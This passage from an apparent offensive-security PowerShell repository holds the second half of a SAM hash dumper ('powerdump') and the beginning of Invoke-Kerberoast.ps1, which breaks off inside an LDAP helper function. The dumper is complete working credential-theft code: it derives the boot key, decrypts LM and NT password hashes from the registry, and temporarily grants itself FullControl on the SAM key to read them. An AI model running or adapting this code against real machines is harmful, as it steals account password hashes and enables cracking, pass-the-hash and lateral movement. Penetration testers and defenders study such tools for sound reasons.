lpftLastWriteTime); 72 | $PInvokeMethod = $TypeBuilder.DefineMethod( 73 | 'RegQueryInfoKey', 74 | [Reflection.MethodAttributes] 'Public, Static', 75 | [int], 76 | [Type[]] @( [int], [Text.Stringbuilder], [int].MakeByRefType(), [int], [int].MakeByRefType(), [int].MakeByRefType(), [int].MakeByRefType(), [int].MakeByRefType(), [int].MakeByRefType(), [int].MakeByRefType(), [int].MakeByRefType(), [IntPtr]) 77 | ) 78 | 79 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 80 | 81 | $FieldArray = [Reflection.FieldInfo[]] @( 82 | [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), 83 | [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), 84 | [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') 85 | ) 86 | $FieldValueArray = [Object[]] @( 87 | 'RegQueryInfoKey', 88 | [Runtime.InteropServices.CallingConvention]::Winapi, 89 | $true 90 | ) 91 | 92 | $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( 93 | $DllImportConstructor, 94 | @('advapi32.dll'), 95 | $FieldArray, 96 | $FieldValueArray 97 | ) 98 | $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) 99 | ############################################################################### 100 | #[DllImport("advapi32.dll", SetLastError=true)] 101 | #public static extern int RegCloseKey(int hKey); 102 | $PInvokeMethod = $TypeBuilder.DefineMethod( 103 | 'RegCloseKey', 104 | [Reflection.MethodAttributes] 'Public, Static', 105 | [int], 106 | [Type[]] @( [int]) 107 | ) 108 | 109 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 110 | 111 | $FieldArray = [Reflection.FieldInfo[]] @( 112 | [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), 113 | [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') 114 | ) 115 | $FieldValueArray = [Object[]] @( 116 | 'RegCloseKey', 117 | $true 118 | ) 119 | 120 | $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( 121 | $DllImportConstructor, 122 | @('advapi32.dll'), 123 | $FieldArray, 124 | $FieldValueArray 125 | ) 126 | $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) 127 | ################################################################################ 128 | 129 | $script:PowerDump = $TypeBuilder.CreateType() 130 | } 131 | 132 | #######################################powerdump written by David Kennedy######################################### 133 | 134 | $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); 135 | $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); 136 | $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); 137 | $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); 138 | $odd_parity = @( 139 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 140 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 141 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 142 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 143 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 144 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 145 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 146 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 147 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 148 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 149 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 150 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 151 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 152 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 153 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 154 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 155 | ); 156 | 157 | function sid_to_key($sid) 158 | { 159 | $c0 = $sid -band 255 160 | $c1 = ($sid -band 65280)/256 161 | $c2 = ($sid -band 16711680)/65536 162 | $c3 = ($sid -band 4278190080)/16777216 163 | 164 | $s1 = @($c0, $c1, $c2, $c3, $c0, $c1, $c2) 165 | $s2 = @($c3, $c0, $c1, $c2, $c3, $c0, $c1) 166 | 167 | return ,((str_to_key $s1),(str_to_key $s2)) 168 | } 169 | 170 | function str_to_key($s) 171 | { 172 | $k0 = [int][math]::Floor($s[0] * 0.5) 173 | $k1 = ( $($s[0] -band 0x01) * 64) -bor [int][math]::Floor($s[1] * 0.25) 174 | $k2 = ( $($s[1] -band 0x03) * 32) -bor [int][math]::Floor($s[2] * 0.125) 175 | $k3 = ( $($s[2] -band 0x07) * 16) -bor [int][math]::Floor($s[3] * 0.0625) 176 | $k4 = ( $($s[3] -band 0x0F) * 8) -bor [int][math]::Floor($s[4] * 0.03125) 177 | $k5 = ( $($s[4] -band 0x1F) * 4) -bor [int][math]::Floor($s[5] * 0.015625) 178 | $k6 = ( $($s[5] -band 0x3F) * 2) -bor [int][math]::Floor($s[6] * 0.0078125) 179 | $k7 = $($s[6] -band 0x7F) 180 | 181 | $key = @($k0, $k1, $k2, $k3, $k4, $k5, $k6, $k7) 182 | 183 | 0..7 | %{ 184 | $key[$_] = $odd_parity[($key[$_] * 2)] 185 | } 186 | 187 | return ,$key 188 | } 189 | 190 | function NewRC4([byte[]]$key) 191 | { 192 | return new-object Object | 193 | Add-Member NoteProperty key $key -PassThru | 194 | Add-Member NoteProperty S $null -PassThru | 195 | Add-Member ScriptMethod init { 196 | if (-not $this.S) 197 | { 198 | [byte[]]$this.S = 0..255; 199 | 0..255 | % -begin{[long]$j=0;}{ 200 | $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; 201 | $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; 202 | } 203 | } 204 | } -PassThru | 205 | Add-Member ScriptMethod "encrypt" { 206 | $data = $args[0]; 207 | $this.init(); 208 | $outbuf = new-object byte[] $($data.Length); 209 | $S2 = $this.S[0..$this.S.Length]; 210 | 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { 211 | $i = ($i+1) % $S2.Length; 212 | $j = ($j + $S2[$i]) % $S2.Length; 213 | $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; 214 | $a = $data[$_]; 215 | $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; 216 | $outbuf[$_] = ($a -bxor $b); 217 | } 218 | return ,$outbuf; 219 | } -PassThru 220 | } 221 | 222 | function des_encrypt([byte[]]$data, [byte[]]$key) 223 | { 224 | return ,(des_transform $data $key $true) 225 | } 226 | 227 | function des_decrypt([byte[]]$data, [byte[]]$key) 228 | { 229 | return ,(des_transform $data $key $false) 230 | } 231 | 232 | function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) 233 | { 234 | $des = new-object Security.Cryptography.DESCryptoServiceProvider; 235 | $des.Mode = [Security.Cryptography.CipherMode]::ECB; 236 | $des.Padding = [Security.Cryptography.PaddingMode]::None; 237 | $des.Key = $key; 238 | $des.IV = $key; 239 | $transform = $null; 240 | if ($doEncrypt) {$transform = $des.CreateEncryptor();} 241 | else{$transform = $des.CreateDecryptor();} 242 | $result = $transform.TransformFinalBlock($data, 0, $data.Length); 243 | return ,$result; 244 | } 245 | 246 | function Get-RegKeyClass([string]$key, [string]$subkey) 247 | { 248 | switch ($Key) { 249 | "HKCR" { $nKey = 0x80000000} #HK Classes Root 250 | "HKCU" { $nKey = 0x80000001} #HK Current User 251 | "HKLM" { $nKey = 0x80000002} #HK Local Machine 252 | "HKU" { $nKey = 0x80000003} #HK Users 253 | "HKCC" { $nKey = 0x80000005} #HK Current Config 254 | default { 255 | throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" 256 | } 257 | } 258 | $KEYQUERYVALUE = 0x1; 259 | $KEYREAD = 0x19; 260 | $KEYALLACCESS = 0x3F; 261 | $result = ""; 262 | [int]$hkey=0 263 | if (-not $script:PowerDump::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) 264 | { 265 | $classVal = New-Object Text.Stringbuilder 1024 266 | [int]$len = 1024 267 | if (-not $script:PowerDump::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, 268 | [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) 269 | { 270 | $result = $classVal.ToString() 271 | } 272 | else 273 | { 274 | Write-Error "RegQueryInfoKey failed"; 275 | } 276 | $script:PowerDump::RegCloseKey($hkey) | Out-Null 277 | } 278 | else 279 | { 280 | Write-Error "Cannot open key"; 281 | } 282 | return $result; 283 | } 284 | 285 | function Get-BootKey 286 | { 287 | $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); 288 | $b = new-object byte[] $($s.Length/2); 289 | 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} 290 | $b2 = new-object byte[] 16; 291 | 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} 292 | return ,$b2; 293 | } 294 | 295 | function Get-HBootKey 296 | { 297 | param([byte[]]$bootkey); 298 | $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); 299 | $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); 300 | $k = Get-Item HKLM:\SAM\SAM\Domains\Account; 301 | if (-not $k) {return $null} 302 | [byte[]]$F = $k.GetValue("F"); 303 | if (-not $F) {return $null} 304 | $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); 305 | $rc4 = NewRC4 $rc4key; 306 | return ,($rc4.encrypt($F[0x80..0x9F])); 307 | } 308 | 309 | function Get-UserName([byte[]]$V) 310 | { 311 | if (-not $V) {return $null}; 312 | $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; 313 | $len = [BitConverter]::ToInt32($V[0x10..0x13],0); 314 | return [Text.Encoding]::Unicode.GetString($V, $offset, $len); 315 | } 316 | 317 | function Get-UserHashes($u, [byte[]]$hbootkey) 318 | { 319 | [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; 320 | 321 | # check if hashes exist (if byte memory equals to 20, then we've got a hash) 322 | $LM_exists = $false; 323 | $NT_exists = $false; 324 | # LM header check 325 | if ($u.V[0xa0..0xa3] -eq 20) 326 | { 327 | $LM_exists = $true; 328 | } 329 | # NT header check 330 | elseif ($u.V[0xac..0xaf] -eq 20) 331 | { 332 | $NT_exists = $true; 333 | } 334 | 335 | if ($LM_exists -eq $true) 336 | { 337 | $lm_hash_offset = $u.HashOffset + 4; 338 | $nt_hash_offset = $u.HashOffset + 8 + 0x10; 339 | $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; 340 | $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 341 | } 342 | 343 | elseif ($NT_exists -eq $true) 344 | { 345 | $nt_hash_offset = $u.HashOffset + 8; 346 | $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 347 | } 348 | return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); 349 | } 350 | 351 | function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) 352 | { 353 | [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; 354 | # LM Hash 355 | if ($enc_lm_hash) 356 | { 357 | $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; 358 | } 359 | 360 | # NT Hash 361 | if ($enc_nt_hash) 362 | { 363 | $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; 364 | } 365 | 366 | return ,($lmhash,$nthash) 367 | } 368 | 369 | function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) 370 | { 371 | $deskeys = sid_to_key $rid; 372 | $md5 = [Security.Cryptography.MD5]::Create(); 373 | $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); 374 | $rc4 = NewRC4 $rc4_key; 375 | $obfkey = $rc4.encrypt($enc_hash); 376 | $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + 377 | (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); 378 | return ,$hash; 379 | } 380 | 381 | function Get-UserKeys 382 | { 383 | ls HKLM:\SAM\SAM\Domains\Account\Users | 384 | where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | 385 | Add-Member AliasProperty KeyName PSChildName -PassThru | 386 | Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | 387 | Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | 388 | Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | 389 | Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru 390 | } 391 | 392 | function DumpHashes 393 | { 394 | LoadApi 395 | $bootkey = Get-BootKey; 396 | $hbootKey = Get-HBootKey $bootkey; 397 | Get-UserKeys | %{ 398 | $hashes = Get-UserHashes $_ $hBootKey; 399 | if($PSObjectFormat) 400 | { 401 | $creds = New-Object psobject 402 | $creds | Add-Member -MemberType NoteProperty -Name Name -Value $_.Username 403 | $creds | Add-Member -MemberType NoteProperty -Name id -Value $_.Rid 404 | $creds | Add-Member -MemberType NoteProperty -Name lm -Value ([BitConverter]::ToString($hashes[0])).Replace("-","").ToLower() 405 | $creds | Add-Member -MemberType NoteProperty -Name ntlm -Value ([BitConverter]::ToString($hashes[1])).Replace("-","").ToLower() 406 | $creds 407 | } 408 | else 409 | { 410 | "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, 411 | [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), 412 | [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); 413 | } 414 | } 415 | } 416 | 417 | #http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060 418 | if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 419 | { 420 | Write-Warning "Script requires elevated or administrative privileges." 421 | Return 422 | } 423 | else 424 | { 425 | #Set permissions for the current user. 426 | $rule = New-Object System.Security.AccessControl.RegistryAccessRule ( 427 | [System.Security.Principal.WindowsIdentity]::GetCurrent().Name, 428 | "FullControl", 429 | [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit", 430 | [System.Security.AccessControl.PropagationFlags]"None", 431 | [System.Security.AccessControl.AccessControlType]"Allow") 432 | $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( 433 | "SAM\SAM\Domains", 434 | [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, 435 | [System.Security.AccessControl.RegistryRights]::ChangePermissions) 436 | $acl = $key.GetAccessControl() 437 | $acl.SetAccessRule($rule) 438 | $key.SetAccessControl($acl) 439 | 440 | DumpHashes 441 | 442 | #Remove the permissions added above. 443 | $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name 444 | $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null 445 | Set-Acl HKLM:\SAM\SAM\Domains $acl 446 | 447 | } 448 | } 449 | 450 | 451 | -------------------------------------------------------------------------------- /Invoke-Kerberoast.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | Kerberoast.ps1 4 | Author: Will Schroeder (@harmj0y) 5 | License: BSD 3-Clause 6 | Required Dependencies: None 7 | 8 | Note: the primary method of use will be Invoke-Kerberoast with 9 | various targeting options. 10 | 11 | #> 12 | 13 | function Get-DomainSearcher { 14 | <# 15 | .SYNOPSIS 16 | Helper used by various functions that builds a custom AD searcher object. 17 | Author: Will Schroeder (@harmj0y) 18 | License: BSD 3-Clause 19 | Required Dependencies: Get-Domain 20 | .DESCRIPTION 21 | Takes a given domain and a number of customizations and returns a 22 | System.DirectoryServices.DirectorySearcher object. This function is used 23 | heavily by other LDAP/ADSI searcher functions (Verb-Domain*). 24 | .PARAMETER Domain 25 | Specifies the domain to use for the query, defaults to the current domain. 26 | .PARAMETER LDAPFilter 27 | Specifies an LDAP query string that is used to filter Active Directory objects. 28 | .PARAMETER Properties 29 | Specifies the properties of the output object to retrieve from the server. 30 | .PARAMETER SearchBase 31 | The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 32 | Useful for OU queries. 33 | .PARAMETER SearchBasePrefix 34 | Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). 35 | .PARAMETER Server 36 | Specifies an Active Directory server (domain controller) to bind to for the search. 37 | .PARAMETER SearchScope 38 | Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 39 | .PARAMETER ResultPageSize 40 | Specifies the PageSize to set for the LDAP searcher object. 41 | .PARAMETER ResultPageSize 42 | Specifies the PageSize to set for the LDAP searcher object. 43 | .PARAMETER ServerTimeLimit 44 | Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 45 | .PARAMETER SecurityMasks 46 | Specifies an option for examining security information of a directory object. 47 | One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 48 | .PARAMETER Tombstone 49 | Switch. Specifies that the searcher should also return deleted/tombstoned objects. 50 | .PARAMETER Credential 51 | A [Management.Automation.PSCredential] object of alternate credentials 52 | for connection to the target domain. 53 | .EXAMPLE 54 | Get-DomainSearcher -Domain testlab.local 55 | Return a searcher for all objects in testlab.local. 56 | .EXAMPLE 57 | Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' 58 | Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. 59 | .EXAMPLE 60 | Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" 61 | Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). 62 | .OUTPUTS 63 | System.DirectoryServices.DirectorySearcher 64 | #> 65 | 66 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 67 | [OutputType('System.DirectoryServices.DirectorySearcher')] 68 | [CmdletBinding()] 69 | Param( 70 | [Parameter(ValueFromPipeline = $True)] 71 | [ValidateNotNullOrEmpty()] 72 | [String] 73 | $Domain, 74 | 75 | [ValidateNotNullOrEmpty()] 76 | [Alias('Filter')] 77 | [String] 78 | $LDAPFilter, 79 | 80 | [ValidateNotNullOrEmpty()] 81 | [String[]] 82 | $Properties, 83 | 84 | [ValidateNotNullOrEmpty()] 85 | [Alias('ADSPath')] 86 | [String] 87 | $SearchBase, 88 | 89 | [ValidateNotNullOrEmpty()] 90 | [String] 91 | $SearchBasePrefix, 92 | 93 | [ValidateNotNullOrEmpty()] 94 | [Alias('DomainController')] 95 | [String] 96 | $Server, 97 | 98 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 99 | [String] 100 | $SearchScope = 'Subtree', 101 | 102 | [ValidateRange(1, 10000)] 103 | [Int] 104 | $ResultPageSize = 200, 105 | 106 | [ValidateRange(1, 10000)] 107 | [Int] 108 | $ServerTimeLimit = 120, 109 | 110 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 111 | [String] 112 | $SecurityMasks, 113 | 114 | [Switch] 115 | $Tombstone, 116 | 117 | [Management.Automation.PSCredential] 118 | [Management.Automation.CredentialAttribute()] 119 | $Credential = [Management.Automation.PSCredential]::Empty 120 | ) 121 | 122 | PROCESS { 123 | if ($PSBoundParameters['Domain']) { 124 | $TargetDomain = $Domain 125 | } 126 | else { 127 | # if not -Domain is specified, retrieve the current domain name 128 | if ($PSBoundParameters['Credential']) { 129 | $DomainObject = Get-Domain -Credential $Credential 130 | } 131 | else { 132 | $DomainObject = Get-Domain 133 | } 134 | $TargetDomain = $DomainObject.Name 135 | } 136 | 137 | if (-not $PSBoundParameters['Server']) { 138 | # if there's not a specified server to bind to, try to pull the current domain PDC 139 | try { 140 | if ($DomainObject) { 141 | $BindServer = $DomainObject.PdcRoleOwner.Name 142 | } 143 | elseif ($PSBoundParameters['Credential']) { 144 | $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name 145 | } 146 | else { 147 | $BindServer = ((Get-Domain).PdcRoleOwner).Name 148 | } 149 | } 150 | catch { 151 | throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" 152 | } 153 | } 154 | else { 155 | $BindServer = $Server 156 | } 157 | 158 | $SearchString = 'LDAP://' 159 | 160 | if ($BindServer -and ($BindServer.Trim() -ne '')) { 161 | $SearchString += $BindServer 162 | if ($TargetDomain) { 163 | $SearchString += '/' 164 | } 165 | } 166 | 167 | if ($PSBoundParameters['SearchBasePrefix']) { 168 | $SearchString += $SearchBasePrefix + ',' 169 | } 170 | 171 | if ($PSBoundParameters['SearchBase']) { 172 | if ($SearchBase -Match '^GC://') { 173 | # if we're searching the global catalog, get the path in the right format 174 | $DN = $SearchBase.ToUpper().Trim('/') 175 | $SearchString = '' 176 | } 177 | else { 178 | if ($SearchBase -match '^LDAP://') { 179 | if ($SearchBase -match "LDAP://.+/.+") { 180 | $SearchString = '' 181 | $DN = $SearchBase 182 | } 183 | else { 184 | $DN = $SearchBase.SubString(7) 185 | } 186 | } 187 | else { 188 | $DN = $SearchBase 189 | } 190 | } 191 | } 192 | else { 193 | # transform the target domain name into a distinguishedName if an ADS search base is not specified 194 | if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { 195 | $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" 196 | } 197 | } 198 | 199 | $SearchString += $DN 200 | Write-Verbose "[Get-DomainSearcher] search string: $SearchString" 201 | 202 | if ($Credential -ne [Management.Automation.PSCredential]::Empty) { 203 | Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" 204 | # bind to the inital search object using alternate credentials 205 | $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) 206 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) 207 | } 208 | else { 209 | # bind to the inital object using the current credentials 210 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) 211 | } 212 | 213 | $Searcher.PageSize = $ResultPageSize 214 | $Searcher.SearchScope = $SearchScope 215 | $Searcher.CacheResults = $False 216 | $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All 217 | 218 | if ($PSBoundParameters['ServerTimeLimit']) { 219 | $Searcher.ServerTimeLimit = $ServerTimeLimit 220 | } 221 | 222 | if ($PSBoundParameters['Tombstone']) { 223 | $Searcher.Tombstone = $True 224 | } 225 | 226 | if ($PSBoundParameters['LDAPFilter']) { 227 | $Searcher.filter = $LDAPFilter 228 | } 229 | 230 | if ($PSBoundParameters['SecurityMasks']) { 231 | $Searcher.SecurityMasks = Switch ($SecurityMasks) { 232 | 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 233 | 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 234 | 'None' { [System.DirectoryServices.SecurityMasks]::None } 235 | 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 236 | 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } 237 | } 238 | } 239 | 240 | if ($PSBoundParameters['Properties']) { 241 | # handle an array of properties to load w/ the possibility of comma-separated strings 242 | $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } 243 | $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) 244 | } 245 | 246 | $Searcher 247 | } 248 | } 249 | 250 | 251 | function Convert-LDAPProperty { 252 | <# 253 | .SYNOPSIS 254 | Helper that converts specific LDAP property result fields and outputs 255 | a custom psobject. 256 | Author: Will Schroeder (@harmj0y) 257 | License: BSD 3-Clause 258 | Required Dependencies: None 259 | .DESCRIPTION 260 | Converts a set of raw LDAP properties results from ADSI/LDAP searches 261 | into a proper PSObject. Used by several of the Get-Domain* function. 262 | .PARAMETER Properties 263 | Properties object to extract out LDAP fields for display. 264 | .OUTPUTS 265 | System.Management.Automation.PSCustomObject 266 | A custom PSObject with LDAP hashtable properties translated. 267 | #> 268 | 269 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 270 | [OutputType('System.Management.Automation.PSCustomObject')] 271 | [CmdletBinding()] 272 | Param( 273 | [Parameter(Mandatory = $True, ValueFromPipeline = $True)] 274 | [ValidateNotNullOrEmpty()] 275 | $Properties 276 | ) 277 | 278 | $ObjectProperties = @{} 279 | 280 | $Properties.PropertyNames | ForEach-Object { 281 | if ($_ -ne 'adspath') { 282 | if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { 283 | # convert all listed sids (i.e. if multiple are listed in sidHistory) 284 | $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } 285 | } 286 | elseif ($_ -eq 'grouptype') { 287 | $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum 288 | } 289 | elseif ($_ -eq 'samaccounttype') { 290 | $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum 291 | } 292 | elseif ($_ -eq 'objectguid') { 293 | # convert the GUID to a string 294 | $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid 295 | } 296 | elseif ($_ -eq 'useraccountcontrol') { 297 | $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum 298 | } 299 | elseif ($_ -eq 'ntsecuritydescriptor') { 300 | # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 301 | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 302 | if ($Descriptor.Owner) { 303 | $ObjectProperties['Owner'] = $Descriptor.Owner 304 | } 305 | if ($Descriptor.Group) { 306 | $ObjectProperties['Group'] = $Descriptor.Group 307 | } 308 | if ($Descriptor.DiscretionaryAcl) { 309 | $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl 310 | } 311 | if ($Descriptor.SystemAcl) { 312 | $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl 313 | } 314 | } 315 | elseif ($_ -eq 'accountexpires') { 316 | if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { 317 | $ObjectProperties[$_] = "NEVER" 318 | } 319 | else { 320 | $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) 321 | } 322 | } 323 | elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { 324 | # convert timestamps 325 | if ($Properties[$_][0] -is [System.MarshalByRefObject]) { 326 | # if we have a System.__ComObject 327 | $Temp = $Properties[$_][0] 328 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 329 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 330 | $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) 331 | } 332 | else { 333 | # otherwise just a string 334 | $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) 335 | } 336 | } 337 | elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { 338 | # try to convert misc com objects 339 | $Prop = $Properties[$_] 340 | try { 341 | $Temp = $Prop[$_][0] 342 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 343 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 344 | $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) 345 | } 346 | catch { 347 | Write-Verbose "[Convert-LDAPProperty] error: $_" 348 | $ObjectProperties[$_] = $Prop[$_] 349 | } 350 | } 351 | elseif ($Properties[$_].count -eq 1) { 352 | $ObjectProperties[$_] = $Properties[$_][0] 353 | } 354 | else { 355 | $ObjectProperties[$_] = $Properties[$_] 356 | } 357 | } 358 | } 359 | try { 360 | New-Object -TypeName PSObject -Property $ObjectProperties 361 | } 362 | catch { 363 | Write-Warning "[Convert-LDAPProperty] Error parsing 